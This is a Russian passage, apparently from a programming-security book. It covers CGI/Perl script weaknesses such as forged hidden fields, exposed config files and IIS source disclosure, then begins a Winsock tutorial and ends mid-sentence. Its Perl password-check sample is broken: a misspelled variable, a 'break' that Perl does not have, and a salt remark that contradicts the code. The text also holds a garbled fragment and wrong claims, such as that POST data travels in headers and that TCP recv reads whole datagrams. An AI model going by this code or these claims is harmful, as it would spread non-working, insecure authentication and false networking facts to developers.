Сюда же относятся и ошибки обработки динамически генерируемых форм. Чтобы скрипт мог отличить одного посетителя странички от другого, он добавляет в форму особое скрытое поле, содержащее имя пользователя, введенное им при регистрации (так, например, функционирует большинство чатов). Злоумышленник может сохранить переданную ему страницу на диск, модифицировать по своему усмотрению скрытое поле, выдавая тем самым себя за другое лицо.

Не стоит надеяться на проверку переменной HTTP_REFERER – она заполняется самим HTTP-клиентом и может содержать все, что угодно! Грамотно спроектированный скрипт должен помещать в скрытое поле не только имя пользователя, но и его пароль. Для чатов такая защита вполне подойдет, но в более ответственных случаях пароль следует шифровать по алгоритму с несимметричными ключами или хешировать по схеме "запрос-отклик". Иначе злоумышленнику, перехватившему трафик, не составит большого труда его узнать. Техника шифрования – тема отдельного большого разговора, в контексте же настоящей книги вполне достаточно указать на необходимость шифрования, устойчивую к перехвату, а как ее реализовать – это уже другой вопрос.

Важное замечание: никогда не следует передать секретные данные методом GET, поскольку, он помещает их в тело URL, а браузеры в специальной переменной хранят URL предыдущего посещенного сайта и передают эту переменную при переходе c одного сервера к другому. Конечно, вероятность того, что им окажется сервер злоумышленника, очень невелика, но все-таки этой угрозой не стоит пренебрегать.

Кроме того, браузеры Internet Explorer и Netscape Navigator заносят в общедоступный журнал URL все посещенные за такой-то период сайты, – на компьютерах коллективного использования это приводит к возможности перехвата секретной информации, переданной на сервер методом GET. В отличие от него, метод POSTYLE="помещает содержимое запроса в HTTP-заголовок, что намного безопаснее.

Защищенность секретных файлов

Настройки скрипта, пароли и другая секретная информация, как правило, хранится не в теле программы (хотя случается и такое), а в отдельных файлах, зачастую помещенных в тот же самый каталог, в котором расположены скрипты или web-страницы. Это значит, что их содержимое можно просмотреть в экране браузера, - стоит только узнать требуемое имя и сформировать соответствующий URI.

Единственная проблема, стоящая перед злоумышленником, - узнать полный путь к этим файлам. Если просмотр www-директорий сервера запрещен (что вовсе не факт!), остается действовать последовательным перебором. При условии, что файлы имеют осмысленные имена (как часто и бывает) перебор не будет слишком долгим. К тому же, используя общедоступные скрипты, не все web – мастера изменяют имена секретных и конфигурационных файлов. Наконец, получить содержимое директорий можно и через ошибки реализации других сетевых служб и самого сервера.

Словом, никогда не стоит надеяться, что злоумышленник не сможет выкрасть секретный файл только потому, что не знает его имени. Гораздо надежнее разместить его так, чтобы web-клиенты не имели к нему никакого доступа (скрипту, исполняющемуся с привилегиями локального пользователя, это не причинит никаких проблем, и он по-прежнему сможет читать и писать в такой файл). Другое возможное решение – сконфигурировать web-сервер так, чтобы он не видел эти файлы или запрещал к ним доступ.

Оба способа требуют для своей реализации определенных привилегий, которые предоставляются не всеми провайдерами (и очень немногими службами бесплатного хостига), – тогда приходится помещать секретную информацию в сам Perl-скрипт. При отсутствии ошибок реализации и конфигурации WEB-сервера клиент никогда не увидит содержимое скрипта, а только результат его работы. Напротив, сам скрипт может работать с самим собой как с обычным текстовым файлом. Для этой цели удобно использовать лексему DATA, доступную через одноименный дескриптор.

Такой прием обеспечивает достаточно высокую защищенность секретных данных, но срабатывает не всегда, – случается, что сервер в силу определенных обстоятельств отображает не результат работы, а содержимое скрипта. Забавно, что для исправления такой ошибки разработчикам Microsoft Internet Information Server пришлось выпустить три (!) следующих одна за другой заплатки, прежде чем проблема была решена.

Сперва обнаружилось, что точка, добавленная к имени скрипта, вместо запуска приводила к отображению его содержимого. Это быстро исправили, впопыхах не вспомнив, что ту же самую точку можно представить и в виде шестнадцатеричного кода, предваренного символом процента. Пришлось вслед за первым выпускать второй пакет, а за ним еще и третий, поскольку выяснилось, что обращение к файлу по альтернативному короткому имени так же приводит к показу его содержимого. И до сих пор ни у кого нет полной уверенности, что выловлены все ошибки и завтра не откроется какая-нибудь новая.

Всегда следует учитывать угрозу просмотра секретного файла и противостоять ей. Это вовсе не так трудно, как может показаться!

Основным объектом охоты злоумышленников обычно становятся пароли, а их легко зашифровать встроенной в Perl функцией crypt. Строго говоря, crypt пароли не шифрует, а хеширует, подвергая их необратимому преобразованию, поэтому, даже получив доступ к секретному файлу, злоумышленник не сможет восстановить ни один пароль иначе, чем тупым перебором всех возможных вариантов.

Упрощенный пример программы аутентификации с использованием функции crypt приведен ниже (в нем не используются привязка - salt, поэтому, одинаковые пароли будет иметь идентичные хеши, что в сотни раз ослабляет стойкость защиты ко взлому лобовым перебором).

Внимание: в некоторых реализациях Perl функция crypt возвращает переданную ей строку без каких бы то ни было изменений. Проверьте, как ведет себя ваша версия Perl! В крайнем случае придется создавать собственную реализацию Perl (в этом помогут исходные тесты UNIX-подобных операционных систем).

print "Password:"; #запрос пароля пользователя

$passwd=<>;

chop $passwd; #удаление символа \n

$encrypt=crypt($paswsd,"sl"); #вычисления хеша пароля

open (fh,"passwd") || die; #открытие файла паролей

while($pass=<fh>){ #поиск подходящего пароля

chop $pass; #удаление символа \n

if ($pass eq $encrypt){ #подходящий пароль?

print "Password ok\n";

$flag=1; #пароль найден, установить флаг

break; #и выйти из цикла

}

}

if (!$flag) # если пароль не найден - выход

{print "BAD password!\n"; die;}

Использование необратимого шифрования даже при наличии других ошибок реализации и неправильном администрировании сервера чрезвычайно затрудняет атаку, делая ее практически неосуществимой. Во всяком случае, взломщику понадобится весьма сильная мотивация, чтобы тратить свое время на такую защиту. Хакеры, как и угонщики, редко охотятся за какой-то одной, конкретно выбранной машиной, - они скорее найдут растяпу, забывшего ключи в замке зажигания, чем будут ювелирно нейтрализовать сложную систему сигнализации.

Ненадежность переменных окружения

Переменные окружения очень удобны для хранения различных настроек и организации межпроцессорного взаимодействия. Единственный существенный их недостаток – абсолютная незащищенность. Бытует мнение, что удаленный пользователь не может манипулировать переменными окружения на сервере, а потому, их использование вполне безопасно.

Но это не так! Протоколы telnet, ftp и некоторые другие разрешают даже анонимному пользователю не только читать, но и изменять любые переменные окружения по своему желанию. Поэтому, полагаться на них, право же, не стоит.

Особенно опасно хранить в них пути к библиотекам или файлам данных, - в этом случае, изменив переменную окружения, злоумышленник сможет "подсунуть" программе свою "троянизированную" библиотеку, последствия использования которой очевидны. Однако, описание подобных атак, выходит за рамки протоколов http и cgi, поэтому, в этой книге подробно не рассматривается.

Заключение

Единственный способ гарантированно избежать ошибок – не писать программы! Древние мудрецы говорили – "падает тот, кто бежит; тот, кто лежит – уже не падает". Допуская ошибки, человек приобретает иммунитет, помогающий впредь их не совершать. Только так, на собственном опыте и приобретается профессионализм. Покорное следование советам руководств по безопасности незначительно увеличивает качество кода – "дырка" вылезет не в одном, так в другом месте. (Это не значит, что данная книга бесполезна, просто не стоит строить иллюзий, будто бы она автоматически решит все проблемы).

Умение писать надежный безопасный код сродни езде на велосипеде – пока сам этому не научишься, никакие наставления не помогут. Но, даже научившись, вряд ли сможешь внятно объяснить другим как именно следует держать равновесие и что конкретно требуется для этого делать.

Единственное, от чего хотелось бы предостеречь – не выезжайте на автомагистраль, то есть не беритесь за ответственные проекты, пока не будете полностью уверены в своих силах и опыте.

Q:Как заставить Personal WEB Server запускать Perl-скрипты?

При установке Personal WEB-Server многие сталкиваются со следующей проблемой: Perl-скрипты не запускаются, а "вываливают" в окно браузера свое содержимое! Как быть?

Вызовете "Редактор реестра" и найдите ветвь "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parametrs\ScriptMap". Теперь добавьте параметр (не раздел) ".pl" типа "строка" и присвойте ей значение "Полный путь к исполняемому файлу web-сервера %s %s".

Перезапустите WEB-сервер. Теперь все должно заработать!

Самоучитель игры на WINSOCK

Введение

Сокеты (sockets) представляют собой высокоуровневый унифицированный интерфейс взаимодействия с телекоммуникационными протоколами. В технической литературе встречаются различные переводы этого слова – их называют и гнездами, и соединителями, и патронами, и патрубками, и т.д. По причине отсутствия устоявшегося русскоязычного термина, в настоящей статье сокеты будет именоваться сокетами и никак иначе.

Программирование сокетов не сложно само по себе, но довольно поверхностно описано в доступной литературе, а Windows Sockets SDK содержит многоженство ошибок как в технической документации, так и в прилагаемых к ней демонстрационных примерах. К тому же имеются значительные отличия реализаций сокетов в UNIX и в Windows, что создает очевидные проблемы.

Автор постарался дать максимально целостное и связанное описание, затрагивающее не только основные моменты, но и некоторые тонкости не известные рядовым программистам. Ограниченный объем журнальной статьи главы, непосредственно не относящейся к основой теме книги, не позволяет рассказать обо всем, поэтому, пришлось сосредоточиться только на одной реализации сокетов – библиотеке Winsock 2, одном языке программирования – Си\Си++ (хотя сказанное большей частью приемлемо к Delphi, Perl и т.д.) и одном виде сокетов – блокируемых синхронных сокетах.

ALMA MATER

Основное подспорье в изучении сокетов - Windows Sockets 2 SDK. SDK - это документация, набор заголовочных файлов и инструментарий разработчика. Документация не то, чтобы очень хороша – но все же написана достаточна грамотно и позволяет, пускай, не без труда, освоить сокеты даже без помощи какой-либо другой литературы. Причем, большинство книг, имеющиеся на рынке, явно уступают Microsoft в полноте и продуманности описания. Единственный недостаток SDK – он полностью на английском (для некоторых это очень существенно).

Из инструментария, входящего в SDK, в первую очередь хотелось бы выделить утилиту sockeye.exe – это настоящий "тестовый стенд" разработчика. Она позволяет в интерактивном режиме вызывать различные сокет-функции и манипулировать ими по своему усмотрению.

Демонстрационные программы, к сожалению, не лишены ошибок, причем порой довольно грубых и наводящих на мысли – а тестировались ли эти примеры вообще? (Например, в исходном тексте программы simples.c в вызове функций send и sendto вместо strlen стоит sizeof) В то же время, все примеры содержат множество подробных комментариев и раскрывают довольно любопытные приемы нетрадиционного программирования, поэтому ознакомится с ними все-таки стоит.

Из WEB-ресуросов, посвященных программированию сокетов, и всему, что с ними связано, в первую очередь хотелось бы отметить следующие три: ; и .

Обзор сокетов

Библиотека Winsock поддерживает два вида сокетов – синхронные (блокируемые) и асинхронные (неблокируемые). Синхронные сокеты задерживают управление на время выполнения операции, а асинхронные возвращают его немедленно, продолжая выполнение в фоновом режиме, и, закончив работу, уведомляют об этом вызывающий код.

ОС Windows 3.x поддерживает только асинхронные сокеты, поскольку, в среде с корпоративной многозадачностью захват управления одной задачей "подвешивает" все остальные, включая и саму систему. ОС Windows 9x\NT поддерживают оба вида сокетов, однако, в силу того, что синхронные сокеты программируются более простоще, чем асинхронные, последние не получили большого распространения. Эта статья Наш рассказ посвящена исключительно синхронным сокетам (асинхронные – тема отдельного разговора).

Сокеты позволяют работать со множеством протоколов и являются удобным средством межпроцессорного взаимодействия, но мы будет говорить в данной статье речь будет идти только о сокетах семейства протоколов TCP/IP, использующихся для обмена данными между узлами сети Интернет. Все остальные протоколы, такие как IPX/SPX, NetBIOS по причине ограниченности объема журнальной статьи рассматриваться не будут.

Независимо от вида, сокеты делятся на два типа – потоковые и дейтаграммные. Потоковые сокеты работают с установкой соединения, обеспечивая надежную идентификацию обоих сторон и гарантируют целостность и успешность доставки данных. Дейтаграмные сокеты работают без установки соединения и не обеспечивают ни идентификации отправителя, ни контроля успешности доставки данных, зато они заметно быстрее потоковых.

Выбор того или иного типа сокетов определяется транспортным протоколом на котором работает сервер, - клиент не может по своему желанию установить с дейтаграммным сервером потоковое соединение.

Замечание: дейтаграммные сокеты опираются на протокол UDP, а потоковые на TCP.

Первый шаг, второй, третий…

Для работы с библиотекой Winsock 2.х в исходный тест программы необходимо включить директиву "#include <winsock2.h>", а в командной строке линкера указать "ws2_32.lib". В Microsoft Visual Studio для этого достаточно нажать <Alt-F7>, перейти к закладке "Link" и к списку библиотек, перечисленных в строке "Object/Library modules", добавить "ws2_32.lib", отделив ее от остальных символом пробела.

Перед началом использования функций библиотеки Winsock ее необходимо подготовить к работе вызовом функции "int WSAStartup (WORD wVersionRequested, LPWSADATA lpWSAData)" передав в старшем байта слова wVersionRequested номер требуемой версии, а в младшем – номер подверсии.

Аргумент lpWSAData должен указывать на структуру WSADATA, в которую при успешной инициализации будет занесена информация о производителе библиотеки. Никакого особенного интереса она не представляет и прикладное приложение может ее игнорировать. Если инициализация проваливается, функция возвращает ненулевое значение.

Второй шаг – создание объекта "сокет". Это осуществляется функцией "SOCKET socket (int af, int type, int protocol)" Первый слева аргумент указывает на семейство используемых протоколов. Для Интернет - приложений он должен иметь значение AF_INET.

Следующий аргумент задает тип создаваемого сокета – потоковый (SOCK_STREAM) или дейтаграммный (SOCK_DGRAM) (еще существуют и сырые сокеты, но они не поддерживаются Windows – см раздел "Сырые сокеты").

Последний аргумент уточняет какой транспортный протокол следует использовать. Нулевое значение соответствует выбору по умолчанию: TCP – для потоковых сокетов и UDP для дейтаграммных. В большинстве случаев нет никакого смысла задавать протокол вручную и обычно полагаются на автоматический выбор по умолчанию.

Если функция завершилась успешно она возвращает дескриптор сокета, в противном случае INVALID_SOCKET.

Дальнейшие шаги зависит от того, являет приложение сервером или клиентом. Ниже эти два случая будут описаны раздельно.

Клиент: шаг третий – для установки соединения с удаленным узлом потоковый сокет должен вызвать функцию "int connect (SOCKET s, const struct sockaddr FAR* name, int namelen)". Датаграмные сокеты работают без установки соединения, поэтому, обычно не обращаются к функции connect.

Примечание: за словом "обычно" стоит один хитрый примем программирования – вызов connect позволяет дейтаграмному сокету обмениваться данными с узлом не только функциями sendto, recvfrom, но и более удобными и компактными send и recv. Эта тонкость описана в Winsocket SDK и широко используется как самой Microsoft, так и сторонними разработчикам. Поэтому, ее использование вполне безопасно.

Первый слева аргумент – дескриптор сокета, возращенный функцией socket; второй - указатель на структуру "sockaddr", содержащую в себе адрес и порт удаленного узла с которым устанавливается соединение. Структура sockaddr используется множеством функций, поэтому ее описание вынесено в отдельный раздел "Адрес раз, адрес два…". Последний аргумент сообщает функции размер структуры sockaddr.

После вызова connect система предпринимает попытку установить соединение с указанным узлом. Если по каким-то причинам это сделать не удастся (адрес задан неправильно, узел не существует или "висит", компьютер находится не в сети), функция возвратит ненулевое значение.

Сервер: шаг третий – прежде, чем сервер сможет использовать сокет, он должен связать его с локальным адресом. Локальный, как, впрочем, и любой другой адрес Интернета, состоит из IP-адреса узла и номера порта. Если сервер имеет несколько IP адресов, то сокет может быть связан как со вмести ними сразу (для этого вместо IP-адреса следует указать константу INADDR_ANY равную нулю), так и с каким-то конкретным одним.

Связывание осуществляется вызовом функции "int bind (SOCKET s, const struct sockaddr FAR* name, int namelen)" Первым слева аргументом передается дескриптор сокета, возращенный функций socket, за ним следуют указатель на структуру sockaddr и ее длина (см. раздел "Адрес раз, адрес два…").

Строго говоря, клиент также должен связывать сокет с локальным адресом перед его использованием, однако, за него это делает функция connect, ассоциируя сокет с одним из портов, наугад выбранных из диапазона 1024-5000. Сервер же должен "садиться" на заранее определенный порт, например, 21 для FTP, 23 для telnet, 25 для SMTP, 80 для WEB, 110 для POP3 и т.д. Поэтому ему приходится осуществлять связывание "вручную".

При успешном выполнении функция возвращает нулевое значение и ненулевое в противном случае.

Сервер: шаг четвертый – выполнив связывание, потоковый сервер переходит в режим ожидания подключений, вызывая функцию "int listen (SOCKET s, int backlog )", где s – дескриптор сокета, а backlog – максимально допустимый размер очереди сообщений.

Размер очереди ограничивает количество одновременно обрабатываемых соединений, поэтому, к его выбору следует подходить "с умом". Если очередь полностью заполнена, очередной клиент при попытке установить соединение получит отказ (TCP пакет с установленным флагом RST). В то же время максимально разумное количество подключений определяются производительностью сервера, объемом оперативной памяти и т.д.

Датаграммные серверы не вызывают функцию listen, т.к. работают без установки соединения и сразу же после выполнения связывания могут вызывать recvfrom для чтения входящих сообщений, минуя четвертый и пятый шаги.

Сервер: шаг пятый – извлечение запросов на соединение из очереди осуществляется функцией "SOCKET accept (SOCKET s, struct sockaddr FAR* addr, int FAR* addrlen)", которая автоматически создает новый сокет, выполняет связывание и возвращает его дескриптор, а в структуру sockaddr заносит сведения о подключившемся клиенте (IP-адрес и порт). Если в момент вызова accept очередь пуста, функция не возвращает управление до тех пор, пока с сервером не будет установлено хотя бы одно соединение. В случае возникновения ошибки функция возвращает отрицательное значение.

Для параллельной работы с несколькими клиентами следует сразу же после извлечения запроса из очереди порождать новый поток (процесс), передавая ему дескриптор созданного функцией accept сокета, затем вновь извлекать из очереди очередной запрос и т.д. В противном случае, пока не завершит работу один клиент, север не сможет обслуживать всех остальных.

все вместе – после того как соединение установлено, потоковые сокеты могут обмениваться с удаленным узлом данными, вызывая функции "int send (SOCKET s, const char FAR * buf, int len,int flags)" и "int recv (SOCKET s, char FAR* buf, int len, int flags)" для посылки и приема данных соответственно.

Функция send возвращает управление сразу же после ее выполнения независимо от того, получила ли принимающая сторона наши данные или нет. При успешном завершении функция возвращает количество передаваемых (не переданных!) данных – т.е. успешное завершение еще не свидетельствует от успешной доставке! В общем-то, протокол TCP (на который опираются потоковые сокеты) гарантирует успешную доставку данных получателю, но лишь при условии, что соединение не будет преждевременно разорвано. Если связь прервется до окончания пересылки, данные останутся не переданными, но вызывающий код не получит об этом никакого уведомления! А ошибка возвращается лишь в том случае, если соединение разорвано до вызова функции send!

Функция же recv возвращает управление только после того, как получит хотя бы один байт. Точнее говоря, она ожидает прихода целой дейтаграммы. Дейтаграмма – это совокупность одного или нескольких IP пакетов, посланных вызовом send. Упрощенно говоря, каждый вызов recv за один раз получает столько байтов, сколько их было послано функцией send. При этом подразумевается, что функции recv предоставлен буфер достаточных размеров, - в противном случае ее придется вызвать несколько раз. Однако, при всех последующих обращениях данные будет браться из локального буфера, а не приниматься из сети, т.к. TCP-провайдер не может получить "кусочек" дейтаграммы, а только ею всю целиком.

Работой обоих функций можно управлять с помощью флагов, передаваемых в одной переменной типа int третьим слева аргументом. Эта переменная может принимать одно из двух значений: MSG_PEEK и MSG_OOB.

Флаг MSG_PEEK заставляет функцию recv просматривать данные вместо их чтения. Просмотр, в отличие от чтения, не уничтожает просматриваемые данные. Некоторые источники утверждают, что при взведенном флаге MSG_PEEK функция recv не задерживает управления если в локальном буфере нет данных, доступных для немедленного получения. Это неверно! Аналогично, иногда приходится встречать откровенно ложное утверждение, якобы функция send со взведенным флагом MSG_PEEK возвращает количество уже переданных байт (вызов send не блокирует управления). На самом деле функция send игнорирует этот флаг!

Флаг MSG_OOB предназначен для передачи и приема срочных (Out Of Band) данных. Срочные данные не имеют преимущества перед другими при пересылке по сети, а всего лишь позволяют оторвать клиента от нормальной обработки потока обычных данных и сообщить ему "срочную" информацию. Если данные передавались функцией send с установленным флагом MSG_OOB, для их чтения флаг MSG_OOB функции recv так же должен быть установлен.

Замечание: настоятельно рекомендуется воздержаться от использования срочных данных в своих приложениях. Во-первых, они совершенно необязательны – гораздо проще, надежнее и элегантнее вместо них создать отдельное TCP-соединение. Во-вторых, по поводу их реализации нет единого мнения и интерпретации различных производителей очень сильно отличаются друг от друга. Так, разработчики до сих пор не пришли к окончательному соглашению по поводу того, куда должен указывать указатель срочности: или на последний байт срочных данных или на байт, следующий за последним байтом срочных данных. В результате, отправитель никогда не имеет уверенности, что получатель сможет правильно интерпретировать его запрос.

Еще существует флаг MSG_DONTROUTE, предписывающий передавать данные без маршрутизации, но он не поддерживаться Winsock и, поэтому, здесь не рассматривается.

Дейтаграммный сокет так же может пользоваться функциями send и recv, если предварительно вызовет connect (см. "Клиент: шаг третий"), но у него есть и свои, "персональные", функции: "int sendto (SOCKET s, const char FAR * buf, int len,int flags, const struct sockaddr FAR * to, int tolen)" и "int recvfrom (SOCKET s, char FAR* buf, int len, int flags, struct sockaddr FAR* from, int FAR* fromlen )".

Они очень похожи на send и recv, - разница лишь в том, что sendto и recvfrom требуют явного указания адреса узла принимаемого или передаваемого данные. Вызов recvfrom не требует предварительного задания адреса передающего узла – функция принимает все пакеты, приходящие на заданный UDP-порт со всех IP адресов и портов. Напротив, отвечать отправителю следует на тот же самый порт откуда пришло сообщение. Поскольку, функция recvfrom заносит IP-адрес и номер порта клиента после получения от него сообщения, программисту фактически ничего не нужно делать – только передать sendto тот же самый указатель на структуру sockaddr, который был ранее передан функции recvfrem, получившей сообщение от клиента.

Еще одна деталь – транспортный протокол UDP, на который опираются дейтаграммные сокеты, не гарантирует успешной доставки сообщений и эта задача ложиться на плечи самого разработчика. Решить ее можно, например, посылкой клиентом подтверждения об успешности получения данных. Правда, клиент тоже не может быть уверен, что подтверждение дойдет до сервера, а не потеряется где-нибудь в дороге. Подтверждать же получение подтверждения – бессмысленно, т.к. это рекурсивно неразрешимо. Лучше вообще не использовать дейтаграммные сокеты на ненадежных каналах.

Во всем остальном обе пары функций полностью идентичны и работают с теми самыми флагами – MS